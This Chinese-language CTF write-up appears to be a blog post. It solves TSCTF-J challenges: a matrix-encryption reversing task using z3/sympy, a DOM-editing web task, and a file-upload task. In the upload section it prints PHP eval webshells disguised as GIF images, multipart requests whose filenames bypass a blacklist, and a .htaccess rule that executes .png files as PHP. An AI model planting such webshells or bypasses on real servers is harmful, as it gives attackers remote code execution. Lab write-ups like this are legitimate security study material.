0xEC, 0xC3, 0xF6, 0x25, 0x89, 0x75, 0xF5, 0x59, 0xFF, 0x17,
0x94, 0xF3, 0x30, 0x6C, 0xE7, 0x36, 0x64, 0x1F, 0x69, 0x28,
0x2E, 0xA6, 0x63, 0xD0, 0x32, 0x16, 0x08, 0xF8, 0x20, 0xC8,
0x8F, 0x82, 0xEE, 0x10, 0xFD, 0x97, 0x6D, 0x62, 0x3A, 0x0F,
0xC6, 0x01, 0x0B, 0xE3, 0xC0, 0x11, 0x58, 0x27, 0x0D, 0x2D,
0x5A, 0x44, 0x1D, 0x50, 0xE6, 0x03, 0x26, 0xA5, 0x6E, 0xF1,
0x9E, 0xAF, 0x74, 0x45, 0x7F, 0x49, 0x66, 0x14, 0x09, 0x06,
0xB5, 0xF9, 0xB1, 0x12, 0x4D, 0xF2, 0x7B, 0x31, 0x5D, 0xFA,
0x86, 0x07, 0xFE, 0xEF, 0xE0, 0xCC, 0xA0, 0x8E, 0x5C, 0xDF,
0x78, 0xB3, 0xBA, 0xBF, 0xF7, 0x70, 0xB4, 0xB0, 0xDB, 0xA3,
0xE5, 0x18, 0xCF, 0x61, 0x87, 0xCA, 0x9B, 0x4C, 0x37, 0x9A,
0x91, 0xA8, 0xA9, 0x92, 0x57, 0x52, 0xED, 0xA7, 0x79, 0x51,
0xA1, 0x84, 0x3C, 0x04, 0x60, 0xA4, 0x15, 0x4A, 0xE1, 0x47,
0xDA, 0xD4, 0x4F, 0x80, 0xAA, 0x99, 0x9D, 0xBC, 0x46, 0x29,
0x33, 0xE9, 0x93, 0xC9, 0x76, 0x00, 0x8A, 0x53, 0x34, 0xD9,
0xF0, 0xC1, 0xDC, 0xDD, 0x13, 0x90, 0xB7, 0x4E, 0x5F, 0xD1,
0xE2, 0xFB, 0xB9, 0xDE, 0xE8, 0x5E, 0x2A, 0xC7, 0x3F, 0x5B,
0x43, 0x98, 0x83, 0xC2, 0x02, 0xCD, 0xD5, 0xEA, 0x95, 0xE4,
0x68, 0x0E, 0xBB, 0x1C, 0x21, 0x88] order = [0x10, 0x05, 0x09, 0x04, 0x02, 0x0B, 0x07, 0x0E, 0x03, 0x0A, 0x06, 0x0F, 0x0D, 0x08, 0x0C, 0x01] data = [0x19, 0xB0, 0x51, 0x6F, 0x4F, 0x0E, 0x2D, 0xAC, 0x4F, 0x0E, 0x2D, 0xAC, 0x6E, 0x19, 0xB0, 0x51] unk_4051E0 = [0x18, 0x76, 0x02, 0xE9, 0xA4, 0x00, 0x08, 0x35, 0x74, 0x20, 0x02, 0xB9, 0x5A, 0xC7, 0x6F, 0x6F] end = [805, 3371, 549, 2028] # v11 = v16 + v17 * a4;
# *(_QWORD *)(a3 + 8 * v11) += *(_QWORD *)(a2 + 8LL * (v16 + v15 * a4)) * * (_QWORD *)(a1 + 8LL * (v15 + v17 * a4)); def enc1(order, data):
tmp = [0] * 16
for i in range(2):
for k in range(2):
for j in range(2):
tmp[k + 2 * i] += order[j + i * 2] * data[k + j * 2]
return tmp tmp1 = [0] * 16
tmp2 = [0] * 16
for i in range(4): tmp1[i * 4:] = enc1(order[i * 4:], data[i * 4:])
tmp2[i * 4:] = enc1(tmp1[i * 4:], data[i * 4:])
tmp1[i * 4:] = enc1(tmp2[i * 4:], unk_4051E0[i * 4:])
tmp2[i * 4:] = enc1(tmp1[i * 4:], tmp1[i * 4:]) for k in range(4):
tmp2[i * 4 + k] -= order[i * 4 + k] * 0x3C47
tmp2[i * 4 + k] = tmp2[i * 4 + k] >> 1
print("第", i, "组:", tmp2) print(tmp2) # 下面是解密脚本 enc=[0x62961C0FE4D28,0x37FB23287E2852,0x3E1C8F5457EF0,0x234502946A064A,0xD87741DA9D659,0x26269C0306349,0x138CA0B38EE747,0x37209312D14CF,0x6FFB20902E85A6,0xA4DFB45E434627,0xB2F4F8CBA70ADE,0x1077C2F84B5994B,0x413B997953E9D1,0x642F09CFEEA51C,0x20DBBAEB80A022,0x3276ADEF34B91D] def enc2(): # 列出 方程组
for i in range(2):
for k in range(2):
for j in range(2):
print('tmp[', k + 2 * i, ']+=order[', j + i * 2, '] * data[', k + j * 2, ']')
# tmp[k + 2 * i] += order[j + i * 2] * data[k + j * 2] enc2() # 参数相同时可转化为方程
# tmp0= x0*x0+x1*x2
# tmp1= x0*x1+x1*x3
# tmp2= x2*x0+x3*x2
# tmp3= x2*x1+x3*x3 # z3 解方程
def dec1(tmp):
print(tmp)
x0 = Int("x0")
x1 = Int("x1")
x2 = Int("x2")
x3 = Int("x3")
s = Solver()
s.add(tmp[0] == x0 * x0 + x1 * x2)
s.add(tmp[1] == x0 * x1 + x1 * x3)
s.add(tmp[2] == x2 * x0 + x3 * x2)
s.add(tmp[3] == x2 * x1 + x3 * x3) if s.check() == sat:
model = s.model()
ret = [0] * 4
print(model)
for d in model.decls():
ret[int("%s" % (d.name())[1:])] = int("%s" % (model[d]))
return ret
else:
print('dec1:[-]') def dec2(tmp, data):
x0 = Int("x0")
x1 = Int("x1")
x2 = Int("x2")
x3 = Int("x3")
s = Solver()
s.add(tmp[0] == x0 * data[0] + x1 * data[2])
s.add(tmp[1] == x0 * data[1] + x1 * data[3])
s.add(tmp[2] == x2 * data[0] + x3 * data[2])
s.add(tmp[3] == x2 * data[1] + x3 * data[3]) if s.check() == sat:
model = s.model()
ret = [0] * 4
print(model)
for d in model.decls():
ret[int("%s" % (d.name())[1:])] = int("%s" % (model[d]))
return ret
else:
print('dec2:[-]') def dec3(tmp, data):
x0 = Int("x0")
x1 = Int("x1")
x2 = Int("x2")
x3 = Int("x3")
s = Solver()
s.add(tmp[0] == (data[0] * x0 + data[1] * x2) * x0 + (data[0] * x1 + data[1] * x3) * x2)
s.add(tmp[1] == (data[0] * x0 + data[1] * x2) * x1 + (data[0] * x1 + data[1] * x3) * x3)
s.add(tmp[2] == (data[2] * x0 + data[3] * x2) * x0 + (data[3] * x3 + data[2] * x1) * x2)
s.add(tmp[3] == (data[2] * x0 + data[3] * x2) * x1 + (data[3] * x3 + data[2] * x1) * x3) if s.check() == sat:
model = s.model()
ret = [0] * 4
print(model)
for d in model.decls():
ret[int("%s" % (d.name())[1:])] = int("%s" % (model[d]))
return ret
else:
print('dec3:[-]') # def dec4(tmp):
# x0 = Int("x0")
# s = Solver()
# num=
# s.add(tmp==(x0-x0*0x3c47)/2)
#
# if s.check() == sat:
# model = s.model()
# ret = [0] * 1
# print(model)
# for d in model.decls():
# ret[int("%s" % (d.name())[1:])] = int("%s" % (model[d]))
# return ret
# else:
# print("[--]") # tmp = [0, 0, 0, 0]
# print(dec1(tmp)) # 解密
data = [0]*16
tmp1 = [0] * 16
tmp2=enc
# print(tmp2)
# tmp2 = [0] * 16
for i in range(3, -1, -1): # for k in range(4):
# tmp2[i * 4 + k] -= order[i * 4 + k] * 0x3C47
# tmp2[i * 4 + k] = tmp2[i * 4 + k] >> 1 # 加密时存在一个>>1,造成的多解问题,Z3 解的时候,直接中断了
# 这里还未解决 for k in range(4):
num=tmp2[i * 4 + k]
tmp2[i * 4 + k] = tmp2[i * 4 + k]*2 + order[i * 4 + k] * 0x3C47 # tmp1[i * 4:] = enc1(tmp2[i * 4:], unk_4051E0[i * 4:])
# tmp2[i * 4:] = enc1(tmp1[i * 4:], tmp1[i * 4:]) # 上面两步的逆向
print(tmp2[i * 4:]) tmp1[i * 4:] = dec1(tmp2[i * 4:])
tmp2[i * 4:] = dec2(tmp1[i * 4:], unk_4051E0[i * 4:]) # tmp1[i * 4:] = enc1(order[i * 4:], data[i * 4:])
# tmp2[i * 4:] = enc1(tmp1[i * 4:], data[i * 4:]) # 上面两步的逆向,也可以转化为一个方程!
data[i * 4:] = dec3(tmp2[i * 4:], order[i * 4:]) # tmp1[i * 4:] = enc1(order[i * 4:], data[i * 4:])
# tmp2[i * 4:] = enc1(tmp1[i * 4:], data[i * 4:])
# tmp1[i * 4:] = enc1(tmp2[i * 4:], unk_4051E0[i * 4:])
# tmp2[i * 4:] = enc1(tmp1[i * 4:], tmp1[i * 4:]) print("第", i, "组:", data) # 如上解得 data 后,通过映射表,即可得到flag。

但是,上面有一个问题,【加密存在一个>>1,造成的多解问题,Z3 解的时候,直接中断了,所以还需要设计一个环节,就是让Z3程序脚本无整数解,或无解时,自动结束,开始下一组爆破(每轮16组爆破就可以得到)】【后面有时间可以再完善一下脚本,看能不能跑出来】

【可想而知,3/3天快结束了,肝不动了

果断求助出题人大大!!!

0x05 果断求助出题人大大!!!

对程序解密卡住了,联系出题人大大,得到解密脚本!

好家伙,属实是我想不到的,不知道的。

from sympy import *

a = Symbol('a');b = Symbol('b');c = Symbol('c');d = Symbol('d')
B0 = [16,5,9,4,2,11,7,14,3,10,6,15,13,8,12,1]
D0 = [24,118,2,233,164,0,8,53,116,32,2,185,90,199,111,111]
K = 15431
my_dict = [25, 27, 5, 178, 36, 206, 119, 124, 126, 156, 34, 101, 244, 235, 190, 85, 216, 196, 44, 184, 62, 61, 111, 182, 189, 140, 57, 72, 203, 56, 115, 12, 106, 59, 129, 159, 125, 43, 103, 26, 210, 64, 252, 53, 211, 214, 65, 150, 86, 172, 107, 173, 133, 174, 162, 141, 66, 47, 215, 35, 84, 113, 10, 139, 30, 171, 197, 122, 114, 75, 236, 195, 246, 37, 137, 117, 245, 89, 255, 23, 148, 243, 48, 108, 231, 54, 100, 31, 105, 40, 46, 166, 99, 208, 50, 22, 8, 248, 32, 200, 143, 130, 238, 16, 253, 151, 109, 98, 58, 15, 198, 1, 11, 227, 192, 17, 88, 39, 13, 45, 90, 68, 29, 80, 230, 3, 38, 165, 110, 241, 158, 175, 116, 69, 127, 73, 102, 20, 9, 6, 181, 249, 177, 18, 77, 242, 123, 49, 93, 250, 134, 7, 254, 239, 224, 204, 160, 142, 92, 223, 120, 179, 186, 191, 247, 112, 180, 176, 219, 163, 229, 24, 207, 97, 135, 202, 155, 76, 55, 154, 145, 168, 169, 146, 87, 82, 237, 167, 121, 81, 161, 132, 60, 4, 96, 164, 21, 74, 225, 71, 218, 212, 79, 128, 170, 153, 157, 188, 70, 41, 51, 233, 147, 201, 118, 0, 138, 83, 52, 217, 240, 193, 220, 221, 19, 144, 183, 78, 95, 209, 226, 251, 185, 222, 232, 94, 42, 199, 63, 91, 67, 152, 131, 194, 2, 205, 213, 234, 149, 228, 104, 14, 187, 28, 33, 136]
flag = "flag{" def is_positive_integer(num):
if num < 0: return False
s=str(num).split('.')
if len(s) == 1: return True
return float(s[1])==0 def solve_square(B):
# A = B*B -> solve A
global a,b,c,d
S = eval("solve([a*a+b*c-%d,a*b+b*d-%d,a*c+c*d-%d,b*c+d*d-%d],[a,b,c,d])"%(B[0],B[1],B[2],B[3]))
for s in S:
s = [float(item) for item in list(s)]
if is_positive_integer(s[0]) and is_positive_integer(s[1]) and is_positive_integer(s[2]) and is_positive_integer(s[3]):
return s
return None def solve_inv(B,C):
# A*B = C -> solve A
global a,b,c,d
S = eval("solve([%d*a+%d*b-%d,%d*a+%d*b-%d,%d*c+%d*d-%d,%d*c+%d*d-%d],[a,b,c,d])"%(B[0],B[2],C[0],B[1],B[3],C[1],B[0],B[2],C[2],B[1],B[3],C[3]))
A = [float(S[item]) for item in [a,b,c,d]]
if not is_positive_integer(A[0]):return None
return [int(item) for item in A] def solve_inv2(A,C):
# A*B = C -> solve B
global a,b,c,d
S = eval("solve([%d*a+%d*c-%d,%d*b+%d*d-%d,%d*a+%d*c-%d,%d*b+%d*d-%d],[a,b,c,d])"%(A[0],A[1],C[0],A[0],A[1],C[1],A[2],A[3],C[2],A[2],A[3],C[3]))
A = [float(S[item]) for item in [a,b,c,d]]
if not is_positive_integer(A[0]):return None
return [int(item) for item in A] def solve_other(B,index,add="0000"):
# (A-D)/2 = B -> solve A
global B0,K
C = [0,0,0,0]
for i in range(4):
C[i] = B[i]*2+int(add[i])+K*B0[4*index+i]
return C def solve_once(B,index):
global my_dict,flag
for i in range(16):
print("Trying part %d.%d"%(index+1,i))
s = solve_other(B,index,add=bin(i)[2:].zfill(4))
s = solve_square(s)
if s == None: continue # skip not integer
s = solve_inv(D0[4*index:4*index+4],s)
if s == None: continue
s = solve_inv2(B0[4*index:4*index+4],s)
if s == None: continue
s = solve_square(s)
if s == None: continue
s = [my_dict.index(item^cipher) for item in s]
s = "".join([hex(t)[2:] for t in s])
flag += s; print(flag)
return import time
start = time.time()
data = [1734349686721832,15757252140869714,1092678154813168,9927501567100490,3808107480864345,671156288906057,5502646392645447,969808735442127,31519839691376038,46407861949122087,50371895260285662,74164462406703435,18361403837770193,28199216860800284,9248795116216354,14204238250162461]
for i in range(4):
solve_once(data[4*i:4*i+4],i)
print(flag+"}")
print(time.time()-start)

得到 651f31a7-5c6f-4ee4-a435-accb084dffb7

TSCTF-J{651f31a7-5c6f-4ee4-a435-accb084dffb7}

就到这吧!后面在学学这个强大的库!!!但看看代码量也不简单呀,,,

Web

词超人

思路,填对单词英文就能得到flag!!!

这里通过修改dom 文档得到

    function uncover(button){
button.parentNode.getElementsByClassName('en')[0].style.visibility=
button.parentNode.getElementsByClassName('en')[0].style.visibility=="hidden"?
"visible":
"hidden"
}
function submit(){
const answerArray=[];
let divArray=document.getElementsByClassName('chunk')
for(div of divArray){
answerArray.push({id:div.id,answer:div.getElementsByTagName('input')[0].value})
}
const xhr = new XMLHttpRequest();
const url = "/submit";
xhr.open("POST", url, true);
xhr.setRequestHeader("Content-Type", "application/json");
xhr.onreadystatechange = function () {
if (xhr.readyState === 4 && xhr.status === 200) {
alert(xhr.responseText)
}
};
xhr.send(JSON.stringify(answerArray));
}

====》修改如下:

    function uncover(button){
button.parentNode.getElementsByClassName('en')[0].style.visibility=
button.parentNode.getElementsByClassName('en')[0].style.visibility=="hidden"?
"visible":
"hidden"
}
function submit(){
const answerArray=[];
let divArray=document.getElementsByClassName('chunk')
for(div of divArray){
// 这里修改,获取隐藏的单词,直接进行提交,【div.childNodes[7]通过控制台,dom文档树查看 】answerArray.push({id:div.id,answer:div.childNodes[7].innerHTML})
}
const xhr = new XMLHttpRequest();
const url = "/submit";
xhr.open("POST", url, true);
xhr.setRequestHeader("Content-Type", "application/json");
xhr.onreadystatechange = function () {
if (xhr.readyState === 4 && xhr.status === 200) {
alert(xhr.responseText)
}
};
xhr.send(JSON.stringify(answerArray));
}

TSCTF-J{naughty_or_diligent–which_type_you_are?_}

OnlyIMG

0x01 程序分析

www.zip文件:

<?php

$blacklist = array("ph","htm","ini","js","jtml", "as","cer", "swf");

if ($_FILES["file"]["error"] > 0)
{
echo "Error !" . "<br>";
} else
{
if($_FILES["file"])
{
$dst = -----A-Secret-Path----- ; // 不能说的秘密
$fileinfo = array($_FILES["file"]["name"],$dst);//创建数组
$file_name = trim($_FILES['file']['name']);
foreach ($blacklist as $blackitem)
{
if (preg_match('/' . $blackitem . '/im', $file_name)) //过滤黑名单
{
die("Upload Fail , Do not upload strange file ~");
}
} $tmp_name = $_FILES["file"]["tmp_name"]; //$_FILES['myFile']['tmp_name'] 储存的临时文件名,一般是系统默认。
$contents = file_get_contents($tmp_name);
if (mb_strpos($contents, "<?p") !== FALSE) # <? 绕过
{
die("Upload Fail , Why is there PHP code in your pic ?");
} if (!is_dir($dst))
{
mkdir($dst);
}
move_uploaded_file($_FILES["file"]["tmp_name"],"$fileinfo[1]/$fileinfo[0]");//保存文件
$msg="Upload Success ! Your file name is : %s";
foreach($fileinfo as $key => $value) // 文件名加一个 %s 即可获得隐藏路径
{
$msg = sprintf($msg, $value);
}
echo $msg;
echo "<br>But I don't know where it stores......";
}
else
{
echo "Please select your file to upload first !" . "<br>";
}
}
trim(string,charlist)
参数 描述
string 必需。规定要检查的字符串。
charlist
可选。规定从字符串中删除哪些字符。如果被省略,则移除以下所有字符: "\0" - NULL
"\t" - 制表符
"\n" - 换行
"\x0B" - 垂直制表符
"\r" - 回车
" " - 空格

0x02 上传一句话木马

文件名 test_%s_.png

GIF89a?
<script language="php"> @eval($_REQUEST['pass']);
</script>

Upload Success ! Your file name is : test_./83ded6_.png

那么连接路径就是:

/83ded6/test_%s_.png 【% 编码为%25】

蚁剑连接

http://39.107.138.71:8080/83ded6/test_%25s_.png

连接失败!!!

原来是需要将后缀名改为 php 文件类型才能解析。

同时得绕过后端黑名单,那么将前端.jpg 绕过,后端burp抓包修改

------WebKitFormBoundarycExQnGZBR5mtzXnT
Content-Disposition: form-data; name="file"; filename="test_%s_."
Content-Type: image/png GIF89a?
<script language="php"> @eval($_GET['cmd']);
</script>
------WebKitFormBoundarycExQnGZBR5mtzXnT
Content-Disposition: form-data; name="submit" 涓婁紶
------WebKitFormBoundarycExQnGZBR5mtzXnT-- ====>改为
------WebKitFormBoundaryCeL3KgxBwwMYN8DU
Content-Disposition: form-data; name="file"; filename="test_%s_.p%10hp"
Content-Type: text/plain GIF89a?
<script language="php"> @eval($_GET['cmd']);
</script>
------WebKitFormBoundaryCeL3KgxBwwMYN8DU
Content-Disposition: form-data; name="submit" 涓婁紶
------WebKitFormBoundaryCeL3KgxBwwMYN8DU--

0x03 htaccess 方式

[黑名单不好绕过,],使用 .htaccess 方式将文件解析为php执行

<FilesMatch "\.png">
SetHandler application/x-httpd-php
</FilesMatch>

无法使用!!!,上传的代码解析到页面上了

再次尝试<?,发现可以打印hahah,说明这个思路是可以的。

那么之前失败的原因是

<script  language="php">  @eval($_REQUEST['pass']);
</script> # 无法执行 # 可以
GIF89a?
<? echo "hahah";@eval($_REQUEST['pass']);?>

通过 <? 绕过 ,但不知道为啥 <script 用不了】

中国蚁剑连接,获得flag

TSCTF-J{Ht_Of_4PachE_is_7O0_simpL3_r1ght?}

最新文章

  1. 常用 meta 整理
  2. (第七天)DOM练习一
  3. 【BZOJ】3196: Tyvj 1730 二逼平衡树(区间第k小+树套树)
  4. 如何优雅的处理Nodejs中的异步回调
  5. Objective-C:Foundation框架-常用类-NSArray
  6. sdut2169Sequence(dp)
  7. 代码分享:php判断数组是否有序
  8. ASP.NET MVC 3 Razor Views in SharePoint
  9. UVA 185(暴力DFS)
  10. Java系列--第三篇 基于Maven的Android开发CAIO
  11. hdu 1846 Brave Game 简单博弈
  12. redis高级实用特性(1)
  13. 修改mysql登录密码
  14. spring boot -整合Ehcahe
  15. 腾讯云ubuntu安装Mysql并配置远程访问
  16. POJ 3579 Median(二分答案)
  17. 生产案例、Linux出现假死,怎么回事?
  18. 【AUC】二分类模型的评价指标ROC Curve
  19. Java二进制兼容性原理
  20. 学习IPFS

热门文章

  1. Stream操作
  2. Mysql学习:2、mysql基本命令
  3. sign签名
  4. Flask之反向生成url
  5. 浏览器输入URL发生了什么:DNS解析、TCP握手、HTTP缓存、重定向、服务器状态码、渲染引擎和JS引擎互斥、渲染过程、浏览器进程、网络进程、渲染进程
  6. python学习(day4)
  7. springboot 整合内存缓存Caffeine
  8. 一种典型的不知循环次数的c语言循环问题
  9. &lt;canvas&gt;标签画登陆页鼠标滑过效果
  10. Nacos 之 Distro 协议